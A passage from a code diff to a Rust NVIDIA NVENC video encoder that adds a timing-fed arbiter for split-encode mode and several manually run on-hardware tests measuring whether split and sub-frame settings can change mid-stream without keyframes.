compare two measurements of the same arm. + self.arbiter = None; + return; + } + } + Some(ArbAction::Settled(mode)) => { + store_split_verdict(self.split_key(), mode); + } + None => {} + } + if done { + // A "switch back to the incumbent" verdict settles on the mode now live. + store_split_verdict(self.split_key(), self.split_mode); + self.arbiter = None; + } + } + /// Copy the captured `DeviceBuffer` into the ring slot's registered input surface (device→device /// on the shared context). `sync` blocks until the copy completes (the pre-existing behavior); /// `!sync` enqueues on the encode thread's copy stream and leaves ordering to the session's @@ -2019,6 +2240,10 @@ impl Encoder for NvencCudaEncoder { // never emits an IDR on its own, so this matches the eventual pictureType. is_idr, )); + // Stamp for the split arbiter's per-frame cost. Deliberately a single field rather + // than a sixth `pending` element: the arbiter only runs on the sync depth-1 path + // (`async_rt.is_none()`), where at most one encode is outstanding. + self.last_submit_at = Some(std::time::Instant::now()); } if sample { tracing::info!( @@ -2199,6 +2424,16 @@ impl Encoder for NvencCudaEncoder { if !map.is_null() { let _ = (api().unmap_input_resource)(self.encoder, map); } + // One frame's encode cost, submit → AU complete. Only meaningful on this sync, + // depth-1 path (the arbiter is gated to it), where `lock_bitstream` above blocked + // until the ASIC finished, so the span is the encode rather than a queue wait. + let encode_us = self + .last_submit_at + .take() + .map(|t| t.elapsed().as_micros() as u64); + if let Some(us) = encode_us { + self.feed_split_arbiter(us); + } Ok(Some(EncodedFrame { data, pts_ns, @@ -2363,6 +2598,17 @@ impl Encoder for NvencCudaEncoder { "NVENC chunked poll: picture type diverged from the submit-time prediction" ); } + // The AU is complete here too — the chunked path is how a sub-frame session finishes, + // so the arbiter has to be fed from BOTH completion points or it would never see a + // frame on the incumbent arm of an HEVC sub-frame experiment (that arm is chunked; + // only the challenger, with sub-frame dropped, comes through `poll`). + let encode_us = self + .last_submit_at + .take() + .map(|t| t.elapsed().as_micros() as u64); + if let Some(us) = encode_us { + self.feed_split_arbiter(us); + } Ok(Some(AuChunk { data, pts_ns, @@ -2446,6 +2692,10 @@ impl Encoder for NvencCudaEncoder { } } + fn set_send_spread_us(&mut self, us: u32) { + self.send_spread_us = us; + } + fn applied_bitrate_bps(&self) -> Option { // `bitrate_bps` is the post-clamp truth: the open path's ceiling search and the // reconfigure path's cache clamp both write what the session ACTUALLY targets. @@ -2498,6 +2748,66 @@ mod tests { assert_eq!(slot_fmt_of(F::NV_ENC_BUFFER_FORMAT_ARGB), SlotFormat::Argb); } + /// The `encoder_engines` field `query_caps` latched — read through a helper so the intent + /// ("what the resolver will actually see") is explicit at the call site. + fn self_engines(enc: &NvencCudaEncoder) -> u32 { + enc.encoder_engines + } + + /// An NV12 frame filled with **real high-entropy content**, not the zeroed VRAM every other + /// helper here hands the encoder. + /// + /// This matters more than it looks. Under CBR the rate controller spends its quota only if + /// there is something to code; against uninitialised (driver-zeroed) buffers it emits ~300 B/AU + /// where the configured rate wants ~833 KB, so every timing taken that way measures the + /// PIXEL-proportional cost and is blind to the bits/frame regime — the regime the 4K60 HDR + /// field report actually came from. A cheap xorshift per pixel plus a per-frame seed gives both + /// spatial detail (so intra costs real bits) and inter-frame change (so P-frames cannot + /// skip-code), which is what drives the entropy coder. + /// `block` sets the spatial detail: 1 = per-pixel noise (incompressible — rate control + /// OVERSHOOTS any low target), larger = blockier and cheaper to code. Sweeping it is how the + /// bench reaches the LOW bits/frame end at all; pure noise cannot get there. + fn noise_nv12_frame(w: u32, h: u32, i: u32, block: usize) -> CapturedFrame { + let buf = DeviceBuffer::alloc_nv12(w, h).expect("alloc NV12 device buffer"); + let (uv_ptr, uv_pitch) = buf.uv.expect("NV12 buffer has a UV plane"); + let mut st = 0x2545_F491_4F6C_DD1Du64 ^ ((i as u64 + 1) << 32); + let mut next = move || { + st ^= st << 13; + st ^= st >> 7; + st ^= st << 17; + st + }; + let b = block.max(1); + let mut plane = |pw: usize, ph: usize| -> Vec { + let bw = pw.div_ceil(b); + let cells: Vec = (0..(bw * ph.div_ceil(b))) + .map(|_| (next() >> 24) as u8) + .collect(); + let mut out = Vec::with_capacity(pw * ph); + for y in 0..ph { + let row = y / b * bw; + for x in 0..pw { + out.push(cells[row + x / b]); + } + } + out + }; + let y = plane(w as usize, h as usize); + let uv = plane(w as usize, h as usize / 2); + pf_zerocopy::cuda::write_plane_from_host(buf.ptr, buf.pitch, &y, w as usize, h as usize) + .expect("upload Y plane"); + pf_zerocopy::cuda::write_plane_from_host(uv_ptr, uv_pitch, &uv, w as usize, h as usize / 2) + .expect("upload UV plane"); + CapturedFrame { + width: w, + height: h, + pts_ns: i as u64 * 16_666_667, + format: PixelFormat::Nv12, + payload: FramePayload::Cuda(buf), + cursor: None, + } + } + fn nv12_frame(w: u32, h: u32, i: u32) -> CapturedFrame { // Content is uninitialized device memory — NVENC encodes it fine; this smoke test asserts the // session/registration/encode/RFI machinery, not picture fidelity (that's the on-glass A/B). @@ -2911,6 +3221,982 @@ mod tests { println!("nvenc_cuda reconfigure smoke: 20→60→10 Mbps in place, zero IDRs"); } + /// ON-HARDWARE — **spike S1** (`design/nvenc-split-encode-engagement-implementation-plan.md`): + /// can `splitEncodeMode` change via `nvEncReconfigureEncoder` with `resetEncoder=0`, WITHOUT + /// emitting an IDR? + /// + /// This is the gate on the whole split-engagement program. `splitEncodeMode` lives in + /// `NV_ENC_INITIALIZE_PARAMS`, and our own invariant says a reconfigure "must present the SAME + /// init params as the open" (`windows/nvenc.rs:620`) — but that is OUR rule, never tested + /// against the driver. A forced mid-stream IDR is not acceptable (user), so: + /// - **driver rejects the change** → the constraint is real; the split decision is + /// once-per-session and must be predicted at open. + /// - **accepts it AND the next AU is not a keyframe** → mid-stream adaptation is free, and the + /// engagement rule can simply be re-resolved whenever ABR moves. + /// - **accepts it but emits an IDR anyway** → same as a rejection for our purposes. This is the + /// case a naive "did it return Ok?" check would get wrong, which is why the keyframe count + /// below is the real assertion. + /// + /// Sub-frame is pinned OFF for the whole test: HEVC forced-split and sub-frame readback are + /// mutually unsupported (`resolve_split_subframe`), so leaving it on would have the driver + /// reject the reconfigure for the WRONG reason and read as a false negative. + /// + /// Reports rather than asserts the verdict — S1 is a measurement, and BOTH outcomes are + /// legitimate findings. It only asserts the things that would invalidate the measurement + /// itself (session came up, engines ≥ 2, the arms actually differ). Run ALONE (it sets env): + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_cuda_split_reconfigure_in_place --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually on the RTX box (.21)"] + fn nvenc_cuda_split_reconfigure_in_place() { + use nv::NV_ENC_SPLIT_ENCODE_MODE as M; + const W: u32 = 1920; + const H: u32 = 1080; + const BPS: u64 = 40_000_000; + let disable = M::NV_ENC_SPLIT_DISABLE_MODE as u32; + let two = M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32; + + // Isolate the split variable: sub-frame off, and open explicitly split-DISABLED so the + // switch below is a real change rather than a no-op. + std::env::set_var("PUNKTFUNK_NVENC_SUBFRAME", "0"); + std::env::set_var("PUNKTFUNK_SPLIT_ENCODE", "0"); + + pf_zerocopy::cuda::make_current().expect("shared CUDA context current"); + let mut enc = NvencCudaEncoder::open( + Codec::H265, + PixelFormat::Nv12, + W, + H, + 60, + BPS, + true, + 8, + ChromaFormat::Yuv420, + false, + 4, + ) + .expect("open NVENC CUDA session"); + + let submit_and_poll = |enc: &mut NvencCudaEncoder, range: std::ops::Range| { + let (mut aus, mut keyframes) = (0usize, 0usize); + for i in range { + let frame = nv12_frame(W, H, i); + enc.submit_indexed(&frame, i).expect("submit"); + while let Some(au) = enc.poll().expect("poll") { + aus += 1; + keyframes += au.keyframe as usize; + } + } + (aus, keyframes) + }; + + // Frames first: the session is lazily created on the first submit, and + // `reconfigure_bitrate` short-circuits to `true` while `!inited` (no session to reconfigure + // yet), which would make the whole spike vacuous. + let (aus, kfs) = submit_and_poll(&mut enc, 0..4); + assert!(aus > 0, "no AUs before the reconfigure"); + assert_eq!(kfs, 1, "exactly the opening IDR before the reconfigure"); + assert!( + enc.inited, + "session must be live for the spike to mean anything" + ); + assert_eq!( + enc.split_mode, disable, + "the spike needs to OPEN split-disabled so the switch is a real change" + ); + + // Engine count (WP1.1's probe, borrowed): forced-2 on a 1-NVENC GPU would be rejected for a + // reason that has nothing to do with reconfigure, so the verdict is only interpretable + // when the card actually has a second engine. + // SAFETY: `enc.encoder` is the live session (`inited` asserted above); `get_cap` only reads + // a cap through it and returns 0 on any driver error. + let engines = unsafe { + enc.get_cap( + enc.encoder, + nv::NV_ENC_CAPS::NV_ENC_CAPS_NUM_ENCODER_ENGINES, + ) + }; + println!( + "S1: NV_ENC_CAPS_NUM_ENCODER_ENGINES = {engines} (query_caps latched \ + encoder_engines={})", + self_engines(&enc) + ); + // The cap is only useful if `query_caps` actually stored it — that latched field is what + // `resolve_split_mode` reads to pick the split width, so a silent 0 there would quietly + // fall back to "assume two engines" on every GPU. + assert_eq!( + self_engines(&enc), + engines.max(0) as u32, + "query_caps must latch NUM_ENCODER_ENGINES — resolve_split_mode reads that field, \ + not the live cap" + ); + assert!( + engines >= 2, + "this GPU reports {engines} NVENC engine(s) — S1 is not interpretable here, run it on \ + a 2-engine card" + ); + + // THE SPIKE: change ONLY splitEncodeMode (same bitrate, same everything else) and ask the + // driver to take it in place. + enc.split_mode = two; + let accepted = enc.reconfigure_bitrate(BPS); + println!("S1: reconfigure DISABLE→TWO_FORCED accepted = {accepted}"); + + let verdict = if !accepted { + // Restore the field so the encoder's idea of its own session stays truthful for the + // rest of the test (the live session is still split-disabled). + enc.split_mode = disable; + "FAIL — driver REJECTED the in-place splitEncodeMode change" + } else { + let (aus, kfs) = submit_and_poll(&mut enc, 4..8); + assert!(aus > 0, "no AUs after the accepted reconfigure"); + if kfs == 0 { + "PASS — accepted with NO IDR: mid-stream split adaptation is free" + } else { + "FAIL — accepted but forced an IDR (silently), which is the same as a rejection" + } + }; + println!("S1 VERDICT: {verdict}"); + + // The reverse direction only means something if the forward one worked. + if accepted { + enc.split_mode = disable; + let back = enc.reconfigure_bitrate(BPS); + let kfs = if back { + submit_and_poll(&mut enc, 8..12).1 + } else { + usize::MAX + }; + println!("S1: reverse TWO_FORCED→DISABLE accepted = {back}, keyframes after = {kfs}"); + } + + enc.flush().ok(); + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + } + + /// ON-HARDWARE — **spike S1b**, the other half of S1: an in-place `splitEncodeMode` change that + /// the driver ACCEPTS without an IDR is worthless if the driver then quietly ignores it, and + /// "accepted, no IDR" looks identical in both cases. So measure whether it took effect. + /// + /// Three legs at 4K (where split has something to bite on), same bitrate throughout: + /// A. fresh session, split DISABLED + /// B. fresh session, split TWO_FORCED + /// C. session opened DISABLED, then reconfigured in place to TWO_FORCED + /// If C ≈ B and both differ from A, the reconfigure is real. If C ≈ A, the driver accepted the + /// parameter and dropped it on the floor. + /// + /// ⚠ **Reads out bytes/AU as well as timing, and that column is load-bearing**: these frames + /// are uninitialised device memory, so under CBR rate control can run out of things to code + /// and every leg collapses to the same trivially-cheap encode — which would make the A/B/C + /// comparison meaningless rather than negative. Tiny or identical byte counts ⇒ the run says + /// nothing, and the real answer needs the content path WP0 route (b) uses. Run ALONE: + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_cuda_split_reconfigure_takes_effect --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually on the RTX box (.21)"] + fn nvenc_cuda_split_reconfigure_takes_effect() { + use nv::NV_ENC_SPLIT_ENCODE_MODE as M; + use std::time::Instant; + const W: u32 = 3840; + const H: u32 = 2160; + const BPS: u64 = 400_000_000; + const WARMUP: u32 = 8; + const MEASURED: u32 = 24; + /// Frames to discard AFTER an in-place switch before measuring. Split-encode does not + /// reach steady state on the first frame — even a FRESH `TWO_FORCED` session shows it + /// (early-half 3280 µs vs late-half 1996 in one run) — and without this the switched leg + /// lands midway between the two arms and the verdict flips run to run. Measured: at 16 + /// the switched leg reaches the fresh-split steady state; at 0 it did so only sometimes. + const SETTLE: u32 = 16; + let two = M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32; + + std::env::set_var("PUNKTFUNK_NVENC_SUBFRAME", "0"); + + // Separate buffers rotated per frame, so identical content can't let the encoder + // skip-code everything and erase the difference we are trying to measure. + // ⚠ MEASURED 2026-08-06: this does NOT work — the driver hands back zeroed VRAM, so all + // four are identical anyway and the legs come out at ~427 B/AU against an 833 KB CBR + // quota. What survives is the PIXEL-proportional half of the cost (motion estimation over + // 8.29 Mpix); the bits/frame half is untested by this harness. Read the printout's + // INCONCLUSIVE-on-content line before drawing any bitrate conclusion from it. + pf_zerocopy::cuda::make_current().expect("shared CUDA context current"); + let frames: Vec = (0..4).map(|i| nv12_frame(W, H, i)).collect(); + + // Returns (early-half p50 µs, late-half p50 µs, median bytes/AU). + let run_leg = |open_split: &str, switch_to: Option| -> (u128, u128, usize) { + std::env::set_var("PUNKTFUNK_SPLIT_ENCODE", open_split); + let mut enc = NvencCudaEncoder::open( + Codec::H265, + PixelFormat::Nv12, + W, + H, + 60, + BPS, + true, + 8, + ChromaFormat::Yuv420, + false, + 4, + ) + .expect("open NVENC CUDA session"); + + // Every leg is measured over the SAME number of frames; a switched leg just starts its + // window `SETTLE` frames later, so the arms stay comparable. + let measure_from = if switch_to.is_some() { + WARMUP + SETTLE + } else { + WARMUP + }; + let (mut times, mut sizes) = (Vec::new(), Vec::new()); + for i in 0..(measure_from + MEASURED) { + // Flip to the target mode exactly once, after warmup, in place. + if i == WARMUP { + if let Some(target) = switch_to { + enc.split_mode = target; + assert!( + enc.reconfigure_bitrate(BPS), + "in-place split switch must be accepted (S1a proved it is)" + ); + continue; + } + } + let t0 = Instant::now(); + enc.submit_indexed(&frames[(i % 4) as usize], i) + .expect("submit"); + let mut got = 0usize; + while let Some(au) = enc.poll().expect("poll") { + got = au.data.len(); + } + let dt = t0.elapsed().as_micros(); + if i >= measure_from { + times.push(dt); + sizes.push(got); + } + } + enc.flush().ok(); + // Split the window in half. A single median over the whole post-switch run is + // ACTIVELY MISLEADING here: leg C's median landed midway between the two arms and the + // nearest-neighbour verdict flipped run to run. Early-vs-late says whether the switch + // SETTLES — which a median cannot. + let half = times.len() / 2; + let med = |s: &[u128]| { + let mut v = s.to_vec(); + v.sort_unstable(); + v[v.len() / 2] + }; + let (early, late) = (med(×[..half]), med(×[half..])); + sizes.sort_unstable(); + (early, late, sizes[sizes.len() / 2]) + }; + + let (a_early, a_late, a_bytes) = run_leg("0", None); + let (b_early, b_late, b_bytes) = run_leg("2", None); + let (c_early, c_late, c_bytes) = run_leg("0", Some(two)); + let (a_us, b_us, c_us) = (a_late, b_late, c_late); + + println!("S1b @ {W}x{H}@60 HEVC 8-bit, {} Mbps CBR:", BPS / 1_000_000); + println!(" (early = first half of the measured window, late = second half)"); + println!(" A fresh DISABLE : early {a_early:>6} late {a_late:>6} us/frame, {a_bytes:>8} B/AU"); + println!(" B fresh TWO_FORCED : early {b_early:>6} late {b_late:>6} us/frame, {b_bytes:>8} B/AU"); + println!(" C DISABLE→TWO in situ: early {c_early:>6} late {c_late:>6} us/frame, {c_bytes:>8} B/AU"); + if c_early > c_late + c_late / 8 { + println!( + " ⇒ leg C SETTLES ({c_early} → {c_late} us): the in-place switch is not \ + instantaneous, so a whole-window median understates it." + ); + } + + let want_bytes = (BPS / 60 / 8) as usize; + if a_bytes * 4 < want_bytes { + println!( + " ⚠ INCONCLUSIVE on content: {a_bytes} B/AU is far below the {want_bytes} B/AU \ + CBR quota — rate control ran out of things to code, so these legs are not the \ + high-bits/frame regime the field case is in." + ); + } + let (near_b, near_a) = (c_us.abs_diff(b_us), c_us.abs_diff(a_us)); + println!( + " ⇒ C is nearer {} (|C-B|={near_b} vs |C-A|={near_a}) — {}", + if near_b < near_a { "B" } else { "A" }, + if near_b < near_a { + "the in-place split switch TOOK EFFECT" + } else { + "the driver appears to have IGNORED the in-place split change" + } + ); + + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + let _ = (a_bytes, b_bytes, c_bytes); + } + + /// ON-HARDWARE — **spike S1c**, the leg S1a/S1b deliberately excluded. Both pinned sub-frame + /// OFF to isolate the split variable, but a real HEVC arbitration cannot: split and sub-frame + /// readback are mutually unsupported there (`resolve_split_subframe`), so engaging split means + /// flipping `enableSubFrameWrite` in the same breath — a SECOND init param, and the one the + /// reconfigure path deliberately pins today (`windows/nvenc.rs:624-628`). + /// + /// So: can the PAIR move in place? `(DISABLE, sub-frame on)` → `(TWO_FORCED, sub-frame off)`, + /// `resetEncoder=0`, and back. Accepted? IDR-free? + /// + /// ⚠ Also pins the invariant that makes this safe to build on: `subframe_chunks` is latched + /// ONLY in the init path (line ~1625) and is NOT recomputed by `reconfigure_bitrate`, so a + /// caller flipping sub-frame in place MUST clear it too — otherwise `supports_chunked_poll` + /// keeps reporting true and `poll_chunk` busy-polls its whole budget every AU against a + /// `numSlices` that never advances. That is the exact failure the Phase 8 comment warns about + /// for an in-params drop; here the test performs the correct sequence and asserts the state + /// stays coherent, so WP3 has a worked example to copy. Run ALONE: + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_cuda_split_subframe_pair_reconfigure --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually on the RTX box (.21)"] + fn nvenc_cuda_split_subframe_pair_reconfigure() { + use nv::NV_ENC_SPLIT_ENCODE_MODE as M; + const W: u32 = 1920; + const H: u32 = 1080; + const BPS: u64 = 40_000_000; + let disable = M::NV_ENC_SPLIT_DISABLE_MODE as u32; + let two = M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32; + + // Open split-DISABLED, and leave sub-frame at its Linux default (ON where the GPU + // advertises SUBFRAME_READBACK) — that is the fleet shape the arbitration starts from. + std::env::set_var("PUNKTFUNK_SPLIT_ENCODE", "0"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + + pf_zerocopy::cuda::make_current().expect("shared CUDA context current"); + let mut enc = NvencCudaEncoder::open( + Codec::H265, + PixelFormat::Nv12, + W, + H, + 60, + BPS, + true, + 8, + ChromaFormat::Yuv420, + false, + 4, + ) + .expect("open NVENC CUDA session"); + + let submit_and_poll = |enc: &mut NvencCudaEncoder, range: std::ops::Range| { + let (mut aus, mut keyframes) = (0usize, 0usize); + for i in range { + let frame = nv12_frame(W, H, i); + enc.submit_indexed(&frame, i).expect("submit"); + while let Some(au) = enc.poll().expect("poll") { + aus += 1; + keyframes += au.keyframe as usize; + } + } + (aus, keyframes) + }; + + let (aus, kfs) = submit_and_poll(&mut enc, 0..4); + assert!(aus > 0 && kfs == 1, "opening IDR then steady P-frames"); + println!( + "S1c: opened split={} subframe_on={} subframe_chunks={} chunked_poll={}", + enc.split_mode, + enc.subframe_on, + enc.subframe_chunks, + enc.supports_chunked_poll() + ); + if !enc.subframe_on { + println!( + "S1c SKIPPED: sub-frame is off at open on this GPU/driver, so there is no pair to \ + flip — the arbitration reduces to S1a's plain split switch here." + ); + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + return; + } + + // THE PAIR FLIP, in the order WP3 must use: clear the chunked-poll latch alongside the + // sub-frame flag, or `poll_chunk` outlives the feature it depends on. + enc.split_mode = two; + enc.subframe_on = false; + enc.subframe_chunks = false; + let accepted = enc.reconfigure_bitrate(BPS); + println!("S1c: (DISABLE,sub-frame on) → (TWO_FORCED,sub-frame off) accepted = {accepted}"); + + if accepted { + let (aus, kfs) = submit_and_poll(&mut enc, 4..8); + assert!(aus > 0, "no AUs after the pair flip"); + assert!( + !enc.supports_chunked_poll(), + "chunked poll must be disarmed once sub-frame is off — a stale latch makes \ + poll_chunk busy-poll its whole budget every AU" + ); + println!( + "S1c VERDICT: {}", + if kfs == 0 { + "PASS — the split×sub-frame PAIR moves in place with NO IDR" + } else { + "FAIL — pair flip forced an IDR" + } + ); + + // …and back, which is what a de-escalation would do. + enc.split_mode = disable; + enc.subframe_on = true; + enc.subframe_chunks = enc.slices >= 2 && enc.async_rt.is_none(); + let back = enc.reconfigure_bitrate(BPS); + let kfs_back = if back { + submit_and_poll(&mut enc, 8..12).1 + } else { + usize::MAX + }; + println!("S1c: reverse pair flip accepted = {back}, keyframes after = {kfs_back}"); + } else { + println!( + "S1c VERDICT: FAIL — driver REJECTED the pair flip. Split can still move alone \ + (S1a), so a WP3 arbitration would have to keep sub-frame fixed for the session \ + and only arbitrate split within that." + ); + enc.split_mode = disable; + enc.subframe_on = true; + } + + enc.flush().ok(); + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + } + + /// ON-HARDWARE — **the D5 confirm** (design §2 defect D5), the one claim in that list that was + /// only ever *inferred*: plain `AUTO` + default-on sub-frame is believed to resolve to + /// no-split, because HEVC split is unsupported *with* sub-frame — which would make the + /// resolver's `AUTO` fallthrough read as "let the driver decide" while actually meaning "never + /// split", on both platforms. + /// + /// The driver reports no "mode I actually chose", so this settles it the same way S1b settled + /// its question: by timing. At 4K the split/no-split gap is unmissable (~2×), so + /// AUTO+sub-frame ≈ DISABLE ⇒ the driver did NOT split ⇒ D5 CONFIRMED + /// AUTO+sub-frame ≈ TWO_FORCED ⇒ it did ⇒ D5 REFUTED and the `AUTO` arm is fine as-is + /// + /// Content is trivial here for the reason `nvenc_cuda_split_reconfigure_takes_effect` + /// documents (zeroed VRAM), so this compares the PIXEL-proportional cost — which is exactly + /// the term split halves, so the discriminator holds. Run ALONE: + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_cuda_auto_split_with_subframe --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually on the RTX box (.21)"] + fn nvenc_cuda_auto_split_with_subframe() { + use std::time::Instant; + const W: u32 = 3840; + const H: u32 = 2160; + const BPS: u64 = 400_000_000; + const WARMUP: u32 = 8; + const MEASURED: u32 = 24; + + pf_zerocopy::cuda::make_current().expect("shared CUDA context current"); + let frames: Vec = (0..4).map(|i| nv12_frame(W, H, i)).collect(); + + // (split env, sub-frame env) → p50 µs, plus the resolved sub-frame state for the printout. + // `split: None` means UNSET, which is the only way to reach the resolver's plain-`AUTO` + // fallthrough: the env knob cannot express it (`0` is DISABLE, `1` is AUTO_**FORCED**), + // and AUTO_FORCED counts as forced in `resolve_split_subframe`, so passing `1` here would + // silently disarm sub-frame and test a completely different configuration. That mistake + // produced a spurious "D5 REFUTED" on the first run of this test. + let run = |split: Option<&str>, subframe: Option<&str>| -> (u128, bool) { + match split { + Some(v) => std::env::set_var("PUNKTFUNK_SPLIT_ENCODE", v), + None => std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"), + } + match subframe { + Some(v) => std::env::set_var("PUNKTFUNK_NVENC_SUBFRAME", v), + None => std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"), + } + let mut enc = NvencCudaEncoder::open( + Codec::H265, + PixelFormat::Nv12, + W, + H, + 60, + BPS, + true, + 8, + ChromaFormat::Yuv420, + false, + 4, + ) + .expect("open NVENC CUDA session"); + let mut times = Vec::new(); + for i in 0..(WARMUP + MEASURED) { + let t0 = Instant::now(); + enc.submit_indexed(&frames[(i % 4) as usize], i) + .expect("submit"); + while enc.poll().expect("poll").is_some() {} + if i >= WARMUP { + times.push(t0.elapsed().as_micros()); + } + } + let sub = enc.subframe_on; + enc.flush().ok(); + times.sort_unstable(); + (times[times.len() / 2], sub) + }; + + // THE FLEET CASE: env unset ⇒ 4K60 8-bit is below SPLIT_FORCE_PIXEL_RATE (497.7 vs 950 + // Mpix/s) and not 10-bit, so the resolver falls through to plain AUTO, and sub-frame + // stays at its caps-gated default. This leg must report sub-frame TRUE or it is not + // testing D5. + let (auto_us, auto_sub) = run(None, None); + let (dis_us, dis_sub) = run(Some("0"), None); + let (two_us, two_sub) = run(Some("2"), Some("0")); + // The leg that decides whether the `AUTO` arm can simply be RETIRED: D5 proves AUTO does + // not split while sub-frame is on, but retiring it would also change sub-frame-OFF + // sessions, where AUTO is free to split and might. Measure before removing. + let (auto_nosub_us, auto_nosub_sub) = run(None, Some("0")); + + println!("D5 confirm @ {W}x{H}@60 HEVC 8-bit:"); + println!(" AUTO (unset) + sub-frame({auto_sub}) : {auto_us:>6} us/frame"); + println!(" DISABLE + sub-frame({dis_sub}) : {dis_us:>6} us/frame"); + println!(" TWO_FORCED, no sub-frame({two_sub}): {two_us:>6} us/frame"); + println!(" AUTO (unset), no sub-frame({auto_nosub_sub}): {auto_nosub_us:>6} us/frame"); + println!( + " ⇒ with sub-frame OFF, AUTO is nearer {} — retiring the AUTO arm {}", + if auto_nosub_us.abs_diff(two_us) < auto_nosub_us.abs_diff(dis_us) { + "TWO_FORCED (it DOES split)" + } else { + "DISABLE (it does not split either way)" + }, + if auto_nosub_us.abs_diff(two_us) < auto_nosub_us.abs_diff(dis_us) { + "would LOSE a real split on sub-frame-off sessions" + } else { + "is behaviour-neutral" + } + ); + assert!( + auto_sub, + "the AUTO leg resolved sub-frame OFF — it is not testing D5's fleet shape" + ); + let (near_dis, near_two) = (auto_us.abs_diff(dis_us), auto_us.abs_diff(two_us)); + println!( + " ⇒ AUTO sits nearer {} (|A-D|={near_dis} vs |A-T|={near_two}) — D5 {}", + if near_dis < near_two { + "DISABLE" + } else { + "TWO" + }, + if near_dis < near_two { + "CONFIRMED: AUTO + sub-frame does NOT split; the resolver's AUTO arm is dead" + } else { + "REFUTED: AUTO does engage the second engine even with sub-frame on" + } + ); + + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + } + + /// ON-HARDWARE — **what is the real split ceiling on this GPU?** Feeds WP1.1: we want to use + /// every engine the card has, not a hard-coded 2. + /// + /// `NV_ENC_SPLIT_ENCODE_MODE` tops out at `THREE_FORCED` in SDK 0.4.0 / NVENCAPI 12.1 (values + /// 4..14 are unallocated, so a future API could add more), and `AUTO_FORCED` means "split, you + /// pick how many" — the only way to name a count we have no enum for. + /// + /// For each candidate this reports what the session ACTUALLY opened with, which is the honest + /// signal: the backend's rejection fallback silently retries split-disabled, so a mode the + /// driver refuses shows up as `split_mode == DISABLE` afterwards rather than as an error. And + /// the timing says whether an ACCEPTED mode did anything — a card that takes `THREE_FORCED` + /// but only has two engines would otherwise look like a win. Run ALONE: + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_cuda_split_hardware_max --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually on the RTX box (.21)"] + fn nvenc_cuda_split_hardware_max() { + use nv::NV_ENC_SPLIT_ENCODE_MODE as M; + use std::time::Instant; + const W: u32 = 3840; + const H: u32 = 2160; + const BPS: u64 = 400_000_000; + const WARMUP: u32 = 8; + const MEASURED: u32 = 24; + + std::env::set_var("PUNKTFUNK_NVENC_SUBFRAME", "0"); + pf_zerocopy::cuda::make_current().expect("shared CUDA context current"); + let frames: Vec = (0..4).map(|i| nv12_frame(W, H, i)).collect(); + + // → (requested mode, mode actually opened, p50 µs, engines the driver reports) + let run = |split: &str| -> (u32, u128, i32) { + std::env::set_var("PUNKTFUNK_SPLIT_ENCODE", split); + let mut enc = NvencCudaEncoder::open( + Codec::H265, + PixelFormat::Nv12, + W, + H, + 60, + BPS, + true, + 8, + ChromaFormat::Yuv420, + false, + 4, + ) + .expect("open NVENC CUDA session"); + let mut times = Vec::new(); + for i in 0..(WARMUP + MEASURED) { + let t0 = Instant::now(); + enc.submit_indexed(&frames[(i % 4) as usize], i) + .expect("submit"); + while enc.poll().expect("poll").is_some() {} + if i >= WARMUP { + times.push(t0.elapsed().as_micros()); + } + } + // SAFETY: the session is live (frames encoded above); `get_cap` only reads a cap and + // returns 0 on any driver error. + let engines = unsafe { + enc.get_cap( + enc.encoder, + nv::NV_ENC_CAPS::NV_ENC_CAPS_NUM_ENCODER_ENGINES, + ) + }; + let opened = enc.split_mode; + enc.flush().ok(); + times.sort_unstable(); + (opened, times[times.len() / 2], engines) + }; + + println!("split ceiling probe @ {W}x{H}@60 HEVC 8-bit:"); + let mut baseline = None; + // The env value is NOT the enum value for DISABLE (`0` selects `NV_ENC_SPLIT_DISABLE_MODE`, + // which is 15), so compare against the enum each arm actually asks for. + for (label, env, want) in [ + ("DISABLE ", "0", M::NV_ENC_SPLIT_DISABLE_MODE as u32), + ("AUTO_FORCED ", "1", M::NV_ENC_SPLIT_AUTO_FORCED_MODE as u32), + ("TWO_FORCED ", "2", M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32), + ( + "THREE_FORCED", + "3", + M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32, + ), + ] { + let (opened, us, engines) = run(env); + let honoured = opened == want; + let vs = match baseline { + None => { + baseline = Some(us); + String::new() + } + Some(b) => format!(" ({:.2}× vs DISABLE)", b as f64 / us as f64), + }; + println!( + " req {label} → opened_mode={opened:<2} {} {us:>6} us/frame{vs} [engines={engines}]", + if honoured { + "HONOURED" + } else { + "FELL BACK" + } + ); + } + println!( + " note: opened_mode 15 = DISABLE (the backend's rejection fallback); a mode that is \ + HONOURED but no faster than DISABLE was accepted and did nothing." + ); + + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + } + + /// ON-HARDWARE — the live split arbitration end to end (WP3). Opens a 4K session that the + /// static rule leaves single-engine, lets the arbiter run, and asserts it converges to the + /// faster arm **without emitting a single IDR** and records a verdict other sessions can reuse. + /// + /// Sub-frame is pinned off so the arbiter's own no-trade gate lets it arm (see + /// `arm_split_arbiter`); this is the shape 